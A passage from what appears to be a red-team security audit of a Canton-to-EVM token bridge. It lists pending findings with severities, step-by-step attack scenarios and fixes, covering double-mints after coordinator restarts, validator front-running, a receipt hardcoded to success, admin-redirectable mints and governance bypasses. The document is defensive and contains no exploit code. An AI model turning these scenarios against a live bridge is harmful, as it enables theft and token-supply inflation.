After signing a SettlementIntent, a validator knows the intentHash and all intent fields. They can construct their own executeMint call and submit it with higher gas before the coordinator's tx lands. The EVM tx succeeds (valid sig bundle), marks usedIntents[intentId]=true, and mints tokens to the correct recipient. When the coordinator's tx arrives, it reverts with IntentAlreadyUsed — wasting gas. Byzantine validator front-runs every executeMint the coordinator submits. Coordinator wastes gas on every bridge-in transaction. Alerting on IntentAlreadyUsed generates noise. If the coordinator retries on IntentAlreadyUsed, it compounds waste. No fund theft (tokens go to correct recipient), but sustained economic griefing and operational disruption. Medium — treat IntentAlreadyUsed as success when tokens were minted to correct recipient; use private mempool or MEV-protected RPC for executeMint submissions. |
||||
| MEDIUM | RT2-AVAIL-2-F8 | Canton Ed25519 Signing Refusal Blocks VerifiedBridgeOut Post-Migration | pending | |
|
After BRIDGE_OPERATOR_EXTERNAL=true migration, Canton transactions require M-of-N Ed25519 signatures via PartyToKeyMapping in addition to secp256k1 intent signatures. A Byzantine validator can sign the secp256k1 SettlementIntent (passing coordinator's secp256k1 threshold) but refuse to sign the Ed25519 Canton op at /api/sign-canton-op, causing the Canton submission to fail after secp256k1 collection is already complete. With N-M+1 Byzantine validators refusing Ed25519 signing, the Ed25519 threshold is never met even though secp256k1 threshold is satisfied. The coordinator must retry but the secp256k1 intent deadline may have expired, forcing a full re-collection cycle. Sustained attack blocks all bridge-out operations. Medium — collect Ed25519 sigs before secp256k1 sigs, or parallelize both rounds with separate deadlines to allow recovery within the secp256k1 intent deadline window. |
||||
| MEDIUM | RT2-AVAIL-2-F9 | Old secp256k1 Sig Bundles Valid Until Key Rotation Applied | pending | |
|
When a validator is rotated out, in-flight sig bundles they signed are invalidated at execution. However, there is no 'validatorSetEpoch' field in the SettlementIntent encoding that cryptographically binds sigs to the validator set at collection time. The residual risk is the brief window between rotation approval and on-chain application of the new validator set. A validator who knows they are about to be rotated out pre-signs future intents speculatively. If a crash recovery scenario causes stale sig bundles to be persisted to disk, the now-invalid validator's sig silently reduces the effective sig count on recovery. With N=2, this could drop below threshold. Medium — include a validatorSetEpoch field in SettlementIntent encoding verified at execution time to cryptographically bind every sig to the current validator set. |
||||
| LOW | RT2-AVAIL-2-F10 | ValidatorConfigProposal Pubkey/Threshold Alignment Not Enforced | pending | |
|
ProposeValidatorConfigChange checks count parity (length newValidatorPubKeys == length validators) but does NOT verify that each new pubkey corresponds to the correct validator party. A proposer could reorder, duplicate, or substitute pubkeys. The newThreshold is validated (>= 1, <= length newValidatorPubKeys) but not validated to maintain the calculateTwoThirdsThreshold minimum. A bridgeAdmin with adminApprovalThreshold=1 (see RT2-AVAIL-2-F2) sets newThreshold=1 while keeping the validator count at N, reducing security without reducing apparent validator count. Combined with Finding 2, a single bridgeAdmin executes this unilaterally. Low standalone; Critical when combined with RT2-AVAIL-2-F2. Add newThreshold >= calculateTwoThirdsThreshold(length validators) enforcement in ProposeValidatorConfigChange. |
||||
| CRITICAL | RT2-AVAIL-3-C1 | Participant1 Crash Leaves Escrow Stranded With No Automatic Recovery | pending | |
|
BridgeOperator, Validator1, and EndUser are all hosted on participant1. If participant1 crashes, the bridge coordinator cannot submit new Canton transactions (it uses participant1's HTTP Ledger API). The escrow expiry recovery path (ExpireBridgeEscrow / CancelBridgeOperation) also requires BridgeOperator to act on participant1. User cannot call CancelBridgeIn until expiresAt passes AND they can reach participant1. A deliberate or accidental participant1 outage of >1 hour leaves users unable to recover their escrowed tokens for the duration of the outage. Even after participant1 recovers, no automated recovery job exists; the background expiry loop must be manually restarted with no logic gaps. Critical — distribute parties across participants; activate Phase 11 BridgeOperator external-party migration; add persistent recovery queue that survives coordinator restarts. |
||||
| CRITICAL | RT2-AVAIL-3-C2 | Coordinator Restart Replays All Active BridgeOperations Causing Double-Mint Risk | pending | |
|
CantonWatcher tracks seen contracts in an in-memory Set (this._seen). On coordinator restart, the set is empty. The next poll returns all currently-active BridgeOperation contracts from the ACS, including those already processed. BridgeReactor._onBridgeOperation checks this._processing (also in-memory, also empty). Every already-processed BridgeOperation still on ACS is treated as a new event and fed through _settle(). 1. Bridge processes BridgeOperation #42, mints 100 EVM tokens. 2. Coordinator restarts. 3. ACS still contains BridgeOperation #42. 4. Watcher re-emits it. 5. Reactor generates new intent with nonce=Date.now() — different from original nonce, therefore different intentHash. 6. BridgeVault.usedIntents does not block the new intentHash. 7. Second mint succeeds — 200 tokens minted for 100 Canton-locked tokens. Critical — persist processed contractId -> txHash mappings to SQLite; reload on startup before first poll. |
||||
| CRITICAL | RT2-AVAIL-3-C3 | Expiry Race Allows EVM Mint to Succeed After Canton Escrow is Archived | pending | |
|
Two concurrent processes can act on the same BridgeOperation: the settlement path (bridge-reactor) and the expiry path (background job in server.js). No distributed lock or Canton-level coordination exists between them. If the coordinator crashes and restarts near the expiry boundary, the expiry job can archive the escrow and return tokens to the user while the restarted coordinator simultaneously collects sigs and submits an EVM mint. 1. Coordinator crashes at T+55min, restarts at T+1h-5s. 2. Background expiry job fires at T+1h+1s, exercises ExpireBridgeEscrow — user recovers Canton tokens. 3. Restarted coordinator polls ACS, finds BridgeOperation (still active), starts settlement, collects sigs with fresh nonce=Date.now(). 4. EVM mint may succeed. 5. User has both Canton tokens AND newly minted EVM tokens — double-spend. Critical — add Canton-level guard via SettlementLock contract or single SettleOrExpire consuming choice; make nonce deterministic from Canton contractId. |
||||
| HIGH | RT2-AVAIL-3-H1 | Single Sequencer is Canton SPOF — No Partition Tolerance | pending | |
|
The synchronizer is bootstrapped with exactly one sequencer (sequencer1) and one mediator (mediator1). The sequencer is the sole ordering service. If it crashes or is partitioned, all Canton transactions halt with no failover, no replica, no graceful degradation. In-flight operations that reached BridgeEscrowHolding but not EVM mint are stuck until sequencer recovers. Any sequencer outage causes total bridge outage. A malicious party controlling sequencer infrastructure can selectively censor bridge transactions. Sequencer crash during a bridge-in leaves user escrow locked and unprocessable until sequencer recovers. High — deploy sequencer in BFT configuration with >=2f+1 replicas; configure synchronizerThreshold accordingly; add monitoring and alerting. |
||||
| HIGH | RT2-AVAIL-3-H2 | CIP-103 Interactive Submission Prepare Succeeds But Execute Fails With No Cleanup | pending | |
|
canton-http-client.js implements the interactive submission flow with prepareSubmit and submitSigned. If prepareSubmit succeeds but submitSigned fails (network error, signing failure, timeout), the prepared transaction is abandoned in Canton's store with no explicit cleanup call. Retries with new commandIds may create duplicate BridgeOperation records or trigger consistency errors. Network blip between prepare and execute leaves orphaned prepared transactions accumulating in Canton's store (memory/disk pressure). On retry with a new commandId, if the ACS has changed (e.g., escrow expired), execute fails with a consistency error but the original prepared transaction is still pending. Over time, orphaned transactions cause performance degradation. High — implement prepare->execute with idempotent commandId tied to operationId; call discard endpoint on failure; add retry with exponential backoff reusing the same commandId. |
||||
| HIGH | RT2-AVAIL-3-H3 | Wall Clock vs Canton Ledger Time Skew Silently Skips Unexpired Operations | pending | |
|
bridge-reactor.js:82-86 uses JavaScript's new Date() (wall clock) to check if a BridgeOperation is expired. If the coordinator's clock is ahead of Canton ledger time, operations valid on-chain are skipped off-chain as expired. If Canton ledger time is ahead, the expiry check in Daml contracts could prevent legitimate cancellation while the reactor believes the operation is still active. Clock drift or NTP misconfiguration on the coordinator host causes the reactor to skip valid operations as 'expired.' User funds stay locked until they manually cancel. Asymmetric behavior (different skew direction) makes debugging unpredictable. Silent loss of bridge operations with no alerting. High — replace wall-clock expiry check with Canton-enforced expiry only; add configurable grace buffer; monitor clock skew between coordinator and Canton sequencer. |
||||
| HIGH | RT2-AVAIL-3-H4 | ACS Watcher Seen Set Lost on Restart Causes Operation Replay | pending | |
|
The _seen Set is the only deduplication mechanism for the watcher. On restart, losing _seen causes every already-processed operation to trigger settlement-error or double-mint. BridgeReactor emits settlement-error events, which downstream monitoring may interpret as new failures. The resetSeen() method exists and can be called programmatically with no access control preventing accidental or malicious invocation from test code in production. After coordinator restart, all active BridgeOperation contracts re-emit settlement attempts. Operators scramble to diagnose apparent new failures that are replay noise. If any operation succeeds on retry (due to Date.now() nonce variation), a double-mint occurs. resetSeen() called accidentally in a production deployment causes immediate replay of all active operations. High — persist _seen to SQLite; load on startup; remove or gate resetSeen() behind a maintenance flag. |
||||
| MEDIUM | RT2-AVAIL-3-M1 | Canton HTTP Client Has No Retry No Timeout No Circuit Breaker | pending | |
|
canton-http-client.js uses bare fetch() with no timeout, no retry, and no circuit-breaker. Under high latency or transient Canton unavailability, submitCommands can hang indefinitely. A submission that times out may have been received and processed by Canton. On retry with a new commandId, Canton creates a second command — potentially a second BridgeOperation record for the same escrow, polluting the audit trail. Transient Canton network blip causes the coordinator's fetch() to hang for minutes without error. The operation appears in-flight but is actually already committed on Canton. On timeout, the coordinator retries with a new commandId, creating a duplicate BridgeOperation. The watcher detects both records and attempts to settle both, generating spurious settlement errors. Medium — set AbortController timeout (30s) on all fetch calls; use deterministic commandId from operationId so Canton can deduplicate retries; add exponential backoff. |
||||
| MEDIUM | RT2-AVAIL-3-M2 | Canton DAR Upgrade Strands In-Flight BridgeOperation Contracts | pending | |
|
If Bridge.daml DAR is upgraded (new package ID), in-flight contracts created under the old package ID become inaccessible to new code. canton-watcher.js uses hardcoded templateIds including the package ID. After a DAR upgrade, old-package-ID contracts remain on the ACS under their original template ID but the watcher watches the new template ID and misses them. No documented upgrade migration path for in-flight contracts exists. A DAR upgrade performed while bridge operations are in-flight silently abandons all pending operations. No user notification, no automated recovery. Users must manually exercise CancelBridgeIn on old contracts using the old BridgeWorkflow, which may itself be archived by the upgrade migration. Medium — document pre-upgrade checklist: drain in-flight operations before upgrade; add DAR migration script that exercises CancelBridgeIn on active operations before new DAR deploy. |
||||
| LOW | RT2-AVAIL-3-L1 | operationId Uniqueness Not Enforced On-Chain in BridgeOperation | pending | |
|
BridgeOperation.operationId is a free Text field with no uniqueness constraint enforced at the Daml level. A buggy or malicious coordinator could create two BridgeOperation contracts with the same operationId for different escrows, breaking audit tooling that correlates by operationId, confusing the supply parity monitor, and corrupting downstream reconciliation that treats operationId as a primary key. A misconfigured coordinator creates duplicate operationId values across two different bridge operations. Audit tooling collapses the two operations into one record, losing one from the audit trail. Supply parity monitor miscounts operations. No direct financial exploit (Canton contract IDs remain unique), but audit trail integrity is compromised. Low — enforce uniqueness via BridgeOperationIndex singleton contract or derive operationId deterministically from the Canton contract ID of the allocation. |
||||
| HIGH | RT2-AVAIL-4-F1 | In-Flight State Lost on Coordinator Crash | pending | |
|
All critical coordinator state is in memory only: BridgeReactor._processing Set, CantonWatcher._seen Set, active collectSignatures Promise chain with partial sigs, and the Date.now() intent nonce. The SQLite used_nonces table is validator-side replay protection only, not coordinator-side operation tracking. On crash, all in-flight signature collections are discarded and operations must be retried from scratch. Coordinator crash mid-bridge-in loses all partial signature collections. On restart, all active BridgeOperation contracts are retried simultaneously (thundering herd on validators). Any operation whose EVM mint already succeeded generates a new nonce on retry, bypassing usedIntents and causing double-mint. High — persist in-flight and completed contractIds to SQLite; reload before CantonWatcher starts polling on startup. |
||||
| CRITICAL | RT2-AVAIL-4-F2 | Double-Mint via Nonce Reset After Coordinator Restart | pending | |
|
In bridge-reactor.js, nonce = BigInt(Date.now()) is generated at the moment _settle() is called, not from a durable counter. Each coordinator restart produces new nonces for the same BridgeOperation contracts. If a restart occurs between EVM mint and Canton settlement (or if Canton settlement fails), the BridgeOperation remains active on ACS and gets re-attempted with a fresh nonce/intentHash not tracked by usedIntents. 1. Coordinator processes BridgeOperation X, mints 100 tokens with nonce=T1, usedIntents[hash(T1)]=true. 2. Coordinator crashes before Canton settlement. 3. Restart: _seen empty, ACS has BridgeOperation X. 4. New intent with nonce=T2. 5. usedIntents[hash(T2)] not set. 6. Second executeMint succeeds. 7. Double-mint: 200 tokens for 100 Canton-locked tokens. Critical — write (contractId -> nonce) mapping to SQLite before sending to validators; reuse previously assigned nonce for same contractId on restart; add BridgeVault dedup by escrowContractId. |
||||
| CRITICAL | RT2-AVAIL-4-F3 | Dual Coordinator Instances Cause Double-Mint Race | pending | |
|
No PID-file lock or distributed lock prevents two coordinator instances from running simultaneously. Process supervisor restarts before old process dies, or manual double-start, causes both instances to have empty _seen Sets. Both poll Canton ACS simultaneously, see the same BridgeOperation, both generate different nonces (different Date.now() values), both collect threshold signatures from validators (validators have no per-contractId dedup), and both call executeMint with different intentHashes. Process supervisor sends SIGKILL then immediately forks new coordinator. Both instances start within milliseconds. They both see BridgeOperation X, generate nonces T1 and T2. SQLite file locking is the only partial mitigation (fragile and unintentional). Both executeMint calls succeed with different intentIds. Double-mint occurs. Critical — implement coordinator.lock PID file checked at startup; use Redis SETNX for distributed deployments; BridgeVault must deduplicate by escrowContractId as final safety net. |
||||
| MEDIUM | RT2-AVAIL-4-F4 | Escrow Expiry Job Silent Failure With No Alerting | pending | |
|
server.js:758-806 runs setInterval every 5 minutes with error handling that only calls console.error. Per-contract errors are also log-only. No metrics, no alerts, no dead-man's-switch. If the ACS query permanently fails (Canton RPC down, auth token expired), expired escrows are never cleaned up and user funds remain locked past the expiry deadline indefinitely. Canton JWT expires after 24 hours. The escrow expiry job starts returning 401 Unauthorized on every ACS query. console.error lines appear in logs but no alert fires. Expired escrows accumulate. Users whose bridge operations timed out cannot recover their funds. Operators are unaware until a user manually reports the issue. Medium — emit metric/counter when expiry job fails; halt bridge after N consecutive failures; write last-successful-run timestamp to SQLite for external monitor staleness checks. |
||||
| HIGH | RT2-AVAIL-4-F5 | Parity Violation Emits SSE But No Circuit Breaker Halts Bridge | pending | |
|
On parity-violation event, server.js logs to console and broadcasts SSE. Bridge operations continue unhalted. If no admin dashboard is connected, the SSE event is dropped silently. The parity check has a TOCTOU race: EVM totalSupply and Canton ACS sum are fetched sequentially, not atomically. Every in-flight bridge operation during a poll cycle generates a spurious violation. A real supply parity violation occurs (e.g., double-mint bug). The parity monitor fires the event. No admin dashboard is connected. The event is silently dropped. The bridge continues minting tokens against an already-violated supply invariant. The violation grows with every subsequent bridge-in. No automatic halt occurs. High — add configurable circuit breaker: bridgeHalted flag set after N consecutive confirmed violations; debounce of >=2 poll cycles before treating violation as real. |
||||
| HIGH | RT2-AVAIL-4-F6 | EVM Transaction Failure Has No Retry and Silently Sticks | pending | |
|
For bridge-in: contractId is added to CantonWatcher._seen before the settlement attempt. After a settlement failure, the contractId remains in _seen, so CantonWatcher will never re-emit it. The failed operation is permanently dead unless the coordinator restarts (with double-mint risk). For bridge-out: execSync(cast publish) blocks event loop; on failure the Canton escrow is already locked and manual admin action via /api/admin/recovery/cancel-bridge-in is required. Transient EVM RPC blip causes the cast publish call to fail. The contractId is already in _seen and will never be retried. The user's Canton tokens stay in escrow with no automatic recovery path. The 1-hour expiry will eventually release them, but only if the expiry job is working. A stuck pending EVM tx with underpaid gas blocks all subsequent mints from the same EOA. High — implement retry with exponential backoff for failed EVM submissions; use a separate failed Set distinct from _seen so failed operations can be retried; monitor for stuck pending transactions. |
||||
| LOW | RT2-AVAIL-4-F7 | Signature Collection Waits Full Timeout Even After Threshold Met | pending | |
|
coordinator.js uses Promise.allSettled(this.validators.map(...)) which waits for all N validators to respond (or timeout at 30s each) before evaluating whether threshold is met. If M-of-N=2-of-5 and the first two validators respond in 50ms, the coordinator still waits up to 30 seconds for the remaining 3 validators to time out. In a 5-validator setup with 2 slow validators, every bridge operation is delayed 30 seconds regardless of whether threshold was already met. Under high load, operations queue up behind 30-second delays, causing user-visible latency for all bridge operations even when sufficient validators are responsive. Low — use Promise.race with a manual threshold counter to short-circuit once M valid signatures arrive; cancel outstanding requests via AbortController. |
||||
| HIGH | RT2-AVAIL-4-F8 | Admin execSync Calls Block Event Loop Under Load | pending | |
|
Multiple admin and bridge endpoints call execSync (synchronous child process spawn) blocking the entire Node.js event loop: server.js cantonQueryRaw (60s timeout), signMintTx, signBurnTx, bridge-out-request, and admin-routes.js castVaultCall and castErc20Call. The admin dashboard polls /api/admin/events via SSE every 5 seconds, which triggers canton-exec subprocess spawns. Under concurrency, these stack up indefinitely. An attacker (or misconfigured admin dashboard) makes concurrent authenticated requests to GET /api/admin/status. Serial event loop blocks of up to 60s each accumulate. During these blocks: CantonWatcher setTimeout callbacks cannot fire (polling stops), BridgeReactor Promise resolutions are deferred, all HTTP requests are queued. The bridge is effectively offline while the process remains alive. High — replace execSync in all hot paths with async execFile/spawn; add rate limiting to all /api/admin/* endpoints. |
||||
| CRITICAL | RT2-AVAIL-4-F9 | No HA Coordinator Design — Active-Passive Architecture Missing | pending | |
|
The coordinator is a single Node.js process with no leader election mechanism, no shared external state store for in-flight operations, no active-passive failover, no health check endpoint (/health or /ready route), and no liveness probe for the CantonWatcher poll loop. Kubernetes liveness probes and load balancers cannot distinguish a zombie coordinator (event loop live, watcher stopped) from a healthy one. The coordinator enters a zombie state: the HTTP server is responsive (process alive) but CantonWatcher's poll loop has silently stopped due to an unhandled promise rejection. Kubernetes liveness probes pass. No bridge operations are processed. The state persists indefinitely until a human investigates. Any in-flight operations are permanently stuck. Critical — implement Option B (on-chain dedup by escrowContractId) as safety net plus Option A (Redis leader election) as operational HA layer; add /health endpoint with liveness probe for watcher loop. |
||||
| HIGH | RT2-AVAIL-4-F10 | No Process Supervisor Configured — No Restart Policy and No Graceful Shutdown | pending | |
|
The codebase contains no systemd unit file, no PM2 configuration, no Dockerfile with restart policy, no supervisord.conf, and no SIGTERM handler for graceful shutdown. If the coordinator crashes, it stays down until a human restarts it. BridgeOperation contracts accumulate on Canton during downtime. Manual restart causes a thundering herd on validators as all queued operations are retried simultaneously. Coordinator crashes in production. No supervisor restarts it. Bridge is down until an operator notices (no alerting). When manually restarted without backoff, all accumulated BridgeOperation contracts are retried at once. Combined with the nonce-reset double-mint issue, each restart attempt during rapid crash-loop can mint a fresh set of double-mints before the crash recurs. High — add PM2 ecosystem.config.js or systemd unit with exponential backoff; implement SIGTERM handler that drains in-flight operations; add process health check that fails if watcher poll loop stalls. |
||||
| CRITICAL | RT2-BUGS-1-CRIT1 | ApplyTransactionWithReceipt Hardcodes success=True — EVM Failures Never Detected | pending | |
|
ApplyTransactionWithReceipt in ZenithVB.daml builds its receipt with success=True and logs=[] hardcoded. Both BridgeIn and VerifiedBridgeOut check assertMsg 'EVM execution failed' receipt.success. Because success is always True, this assertion can never fail. A failed EVM mint or burn transaction does not roll back the Canton side. For VerifiedBridgeOut: the BridgeEscrowHolding is released to the recipient via ReleaseFromEscrow even if the EVM burn failed. The recipient receives Canton tokens without burning EVM tokens — supply invariant violated, tokens duplicated. For BridgeIn: user's Canton tokens are permanently stuck in escrow if the EVM mint fails silently, with no automatic rollback. Critical — until structured receipt parsing is available, add failure sentinel validation (e.g., reject state roots prefixed 'FAIL:'); at minimum add explicit code comment documenting the supply duplication risk. |
||||
| HIGH | RT2-BUGS-1-H1 | BridgeIn addressMappingCid Not Validated Against Allocation Owner | pending | |
|
In BridgeIn, the addressMappingCid is fetched and its evmAddress used as the EVM mint recipient. There is no assertion that mapping.cantonParty == allocation.owner. The admin controls which addressMappingCid to pass. A malicious or compromised admin can pass an address mapping belonging to a different party, routing EVM mint proceeds to an arbitrary address while the user's Canton tokens are correctly locked. 1. User Alice allocates 100 tokens. 2. Admin exercises BridgeIn but passes AddressMapping for Eve (attacker) as addressMappingCid. 3. EVM mints 100 tokens to Eve.evmAddress. 4. Alice's Canton tokens are in escrow with no recourse. 5. Eve has the EVM tokens. The same validation gap exists in BridgeOut and VerifiedBridgeOut. High — add assertMsg 'Address mapping must be for allocation owner' (mapping.cantonParty == allocation.owner) after fetching the mapping in BridgeIn, BridgeOut, and VerifiedBridgeOut. |
||||
| HIGH | RT2-BUGS-1-H2 | MigrateRemoveValidator Bypasses Governance M-of-N Threshold | pending | |
|
MigrateRemoveValidator on ZenithVBState requires only a single executor validator to remove any other validator. There is no check that a threshold vote has been completed before calling this. Compare to ZenithGovernance.ExecuteRemoveValidator which requires a Proposal with length votes >= config.threshold. The VB state migration choices are completely ungated from the governance flow. A single rogue validator calls MigrateRemoveValidator to remove any other validator from ZenithVBState immediately, without governance approval. After removing enough validators to fall below threshold, the attacker gains unilateral control of VB state transitions. Similarly, MigrateObservers allows a single validator to change the observer set unilaterally. High — add proposalCid parameter to MigrateRemoveValidator and validate that the proposal has reached threshold and matches the target, mirroring ExecuteRemoveValidator in Governance.daml. |
||||
| HIGH | RT2-BUGS-1-H3 | WithdrawGovernanceProposal Control Transferred to Last Acceptor Not Initiator | pending | |
|
AcceptGovernance prepends new acceptors to acceptedBy. WithdrawGovernanceProposal checks that the withdrawer == acceptedBy.head, but head is the LAST party to accept, not the initiator. After any other validator accepts, the initiator permanently loses withdrawal rights and the last-accepting validator gains them. The identical bug exists in ZenithVB.daml's WithdrawVBProposal. Initiator V1 creates a governance proposal (acceptedBy=[V1]). V2 accepts (acceptedBy=[V2,V1]). V1 can no longer withdraw. V2 can withdraw the proposal unilaterally, disrupting governance initialization. An attacker who accepts last gains undisclosed control over proposal withdrawal for all pending governance and VB proposals. High — change prepend to append (acceptedBy ++ [validator]) so acceptedBy.head remains the initiator throughout; or store initiator as a separate field. |
||||
| MEDIUM | RT2-BUGS-1-M1 | mintCap Field in AssetConfig Never Enforced in BridgeIn | pending | |
|
AssetConfig declares mintCap : Optional Int as a per-asset mint cap (None = unlimited). However, BridgeIn fetches the asset config but never checks asset.mintCap. The cap is silently ignored. Any amount can be bridged in regardless of the configured cap. An operator deploys the bridge with mintCap=1000000 per transaction for compliance reasons. A user bridges in 10000000 tokens in a single transaction. BridgeIn succeeds without checking the cap. The compliance control is bypassed silently. No error is raised and no log is produced. Medium — add mintCap enforcement after fetching the asset in BridgeIn: case asset.mintCap of Some cap -> assertMsg 'Mint cap exceeded' (allocation.amount <= cap); None -> pure (). |
||||
| MEDIUM | RT2-BUGS-1-M2 | newStateRoot from externalCall Not Format-Validated | pending | |
|
The externalCall returns a Text stored directly as stateRoot with no validation that it is a well-formed 32-byte hex string (64 hex characters). If the external EVM service returns an error message, partial result, or empty string, the VB state root becomes garbage, corrupting all future state transitions and proof verifications. An EVM service experiencing an error returns the string 'INTERNAL_ERROR' as the state root. ZenithVBState is updated with stateRoot='INTERNAL_ERROR'. All future ApplyTransaction calls that validate against this state root fail. The VB state machine is effectively bricked until manually corrected by governance. Medium — add assertMsg 'Invalid state root format' (DA.Text.length newStateRoot == 64) and optionally validate hex character content. |
||||
| MEDIUM | RT2-BUGS-1-M3 | Timestamp Boundary Inconsistency Between CancelBridgeOperation and ExpireBridgeEscrow | pending | |
|
Two choices on BridgeEscrowHolding use different comparison operators for the same expiresAt field: ExpireBridgeEscrow uses now > expiresAt (strict), CancelBridgeOperation uses now >= expiresAt (inclusive). At time T==expiresAt, CancelBridgeOperation succeeds but ExpireBridgeEscrow does not. Additionally, CancelBridgeIn in BridgeOperation uses now > expiresAt — three different behaviors at the exact expiry moment. Off-chain tooling selects which choice to call based on wall clock time. At exactly expiresAt, the tooling calls ExpireBridgeEscrow (the custody-side choice) but it fails with 'not yet expired.' The tooling falls back to CancelBridgeOperation but this choice releases tokens differently from ExpireBridgeEscrow. Inconsistent behavior around the expiry boundary causes recovery failures and confuses operators. Medium — standardize to now >= expiresAt across all expiry checks, or document explicitly which is authoritative and why the discrepancy exists. |
||||
| MEDIUM | RT2-BUGS-1-M4 | evmMintTxData Not Bound to Allocation Amount or Recipient in BridgeIn | pending | |
|
BridgeIn submits evmMintTxData to the EVM but performs no on-ledger check that this transaction data encodes a mint of allocation.amount tokens to evmRecipient. The admin controls evmMintTxData and could submit a transaction that mints a different amount, mints to a different EVM address, or calls a completely different EVM contract function. On-ledger validation is absent; only off-chain coordinator and EVM BridgeVault M-of-N signature provide defense. A compromised admin exercises BridgeIn with evmMintTxData encoding a mint of 1 token to their own address, while the allocation.amount is 1000. Canton commits the transaction (no on-ledger check), the BridgeEscrowHolding locks 1000 tokens, but the EVM mints only 1 token to the attacker. The supply invariant is immediately violated. Medium — encode expected mint amount and recipient as Daml fields in an on-chain intent record; require EVM to emit verifiable event once receipt parsing is implemented (see RT2-BUGS-1-CRIT1). |
||||
| MEDIUM | RT2-BUGS-1-M5 | Single Validator Can Invalidate All Pending Governance Proposals via New Proposal Spam | pending | |
|
Each proposal creation choice archives the current ZenithGovernance contract and creates a new one with an incremented nextProposalNum. Execution choices validate proposal.currentConfig == config against the CURRENT governance config. If a new proposal is created (archiving governance and creating a new config snapshot), all prior proposals become unexecutable as their currentConfig no longer matches. Validator A creates a legitimate governance proposal. Validator B (rogue or Byzantine) immediately creates a trivial new proposal, archiving the governance contract. Validator A's proposal now has currentConfig that no longer matches the new state and can never be executed, even if it receives threshold votes. B can repeat this indefinitely, blocking all governance proposals. Medium — allow multiple simultaneous proposals without archiving the governance contract; use proposal counter as primary key rather than archiving governance on each proposal creation. |
||||
| MEDIUM | RT2-BUGS-1-M6 | VB State M-of-N Security Relies Solely on Canton Topology Not On-Ledger Logic | pending | |
|
ZenithVBState has signatory validators (all validators). Within the Daml execution model, a single validator can submit a state transition because the archive operation uses the authority inherited from all validators as signatories of the exercised contract. The multi-validator security comes exclusively from Canton topology layer (which requires M-of-N Canton party signatures). No belt-and-suspenders on-ledger check of M-of-N for VB state transitions exists unlike VerifiedBridgeOut. If Canton topology is misconfigured (threshold set to 1 or enforcement disabled), a single validator or delegate can freely update the VB state root without any on-ledger resistance. There is no secondary enforcement mechanism on the Daml side to catch topology misconfiguration. Medium — document explicitly that M-of-N security depends on Canton topology configuration; add deployment invariant verification checking topology threshold equals governance threshold. |
||||
| LOW | RT2-BUGS-1-L1 | operationId Uniqueness Not Enforced On-Ledger in BridgeOperation | pending | |
|
operationId is a free Text field passed by the admin with no uniqueness constraint at the Daml level. Multiple BridgeOperation contracts can exist with the same operationId. Uniqueness is enforced only off-chain by the backend. A misconfigured backend or direct Canton command could create duplicate operation IDs, breaking audit trail integrity. A backend bug generates duplicate operationId values across two different bridge operations. Audit tooling that correlates by operationId collapses the two operations into one record, losing one from the audit trail. Supply parity monitor miscounts operations. No direct financial exploit since Canton contract IDs remain unique. Low — use Daml-enforced unique key mechanism or derive operationId deterministically from the allocationCid/escrowHoldingCid. |
||||
| LOW | RT2-BUGS-1-L2 | RemoveMapping Allows Admin Unilateral Removal Inconsistent With UpdateEvmAddress | pending | |
|
UpdateEvmAddress was hardened to require co-signing by cantonParty (Fix 3). However, RemoveMapping only requires controller admin, allowing the admin to silently delete a user's address mapping without their knowledge or consent. After removal, the user's BridgeIn would fail because no valid addressMappingCid exists for them. A compromised admin removes a target user's AddressMapping without the user's knowledge. All subsequent bridge-in attempts by that user fail with 'contract not active' or similar error. The user cannot bridge until they re-register, and the admin can delete the new mapping again indefinitely, permanently blocking the user from bridging. Low — require controller admin, cantonParty for RemoveMapping to match the UpdateEvmAddress hardening; or add notification mechanism so users detect mapping removal. |
||||
| LOW | RT2-BUGS-1-L3 | Dead Variable newThreshold in ExecuteRemoveValidator Obscures Threshold Logic | pending | |
|
In Governance.daml ExecuteRemoveValidator, newThreshold = min config.threshold (length newValidators) is computed but never used. Only adjustedThreshold = calculateTwoThirdsThreshold (length newValidators) is actually applied. The dead binding shadows the actual threshold computation and could mislead a reader into believing the min() formula is the applied threshold. A developer reading the code assumes the applied threshold is min(config.threshold, newValidatorCount) rather than calculateTwoThirdsThreshold(newValidatorCount). They write a test or deployment check against the wrong formula. In a future refactor, they mistakenly activate the dead variable, overriding the BFT-grade threshold with a potentially lower value. Low — remove the dead newThreshold binding to prevent confusion. |
||||
| LOW | RT2-BUGS-1-L4 | BridgeOperation Records Store Stale escrowHoldingCid After Bridge-Out Completion | pending | |
|
BridgeOut and VerifiedBridgeOut create new BridgeOperation records for audit purposes containing escrowHoldingCid of the JUST-consumed BridgeEscrowHolding. CancelBridgeIn on these records will always fail with 'contract not active'. The original BridgeOperation (from BridgeIn) is never archived. After VerifiedBridgeOut, two BridgeOperation contracts exist for the same logical operation, both with callable but always-failing CancelBridgeIn choices. An operator monitoring the ACS sees two BridgeOperation contracts for the same operation and believes one is a duplicate or error. They attempt CancelBridgeIn on both, both fail. Audit tooling that counts active BridgeOperation contracts overcounts by 1 per completed bridge-out, inflating apparent in-flight operation counts and confusing reconciliation. Low — archive the original BridgeOperation when VerifiedBridgeOut succeeds, or use a separate template for completed operation records lacking the CancelBridgeIn choice. |
||||
| LOW | RT2-BUGS-1-L5 | No evmAddress Format Validation in AddressMapping | pending | |
|
evmAddress is stored as a raw Text with no format validation. An admin could create or update a mapping with an invalid EVM address (wrong length, non-hex, empty string). The invalid address would be used as the EVM mint recipient in BridgeIn, causing the EVM transaction to fail. Combined with the hardcoded success=True receipt bug (RT2-BUGS-1-CRIT1), a failed EVM transaction with success=True would result in locked funds with no valid EVM recipient. Admin accidentally creates an AddressMapping with evmAddress='0x123' (too short). User initiates bridge-in. EVM rejects the invalid address. Receipt.success=True so Canton commits. User's 1000 tokens are locked in escrow indefinitely with no valid EVM recipient. Admin must manually exercise admin recovery to unlock. Low — add ensure (DA.Text.length evmAddress == 40) or hex character validation to AddressMapping template and UpdateEvmAddress choice. |
||||
| LOW | RT2-BUGS-1-L6 | addressMappingCid bridgeId Not Cross-Checked in BridgeIn BridgeOut VerifiedBridgeOut | pending | |
|
AddressMapping has a bridgeId field matching the bridge deployment. When fetching addressMappingCid in bridge choices, there is no check that mapping.bridgeId == bridgeId. An admin could pass an AddressMapping from a different bridge deployment, resulting in incorrect evmAddress values being used or recorded. A multi-bridge deployment shares the same Canton ledger. An admin accidentally passes an AddressMapping from bridge-A in a BridgeIn transaction for bridge-B. The EVM mint goes to an address registered for bridge-A's EVM chain, which may be wrong or attacker-controlled. The error is not caught on-ledger. Low — add assertMsg 'Address mapping bridgeId mismatch' (mapping.bridgeId == bridgeId) after fetching the mapping in all bridge choices. |
||||
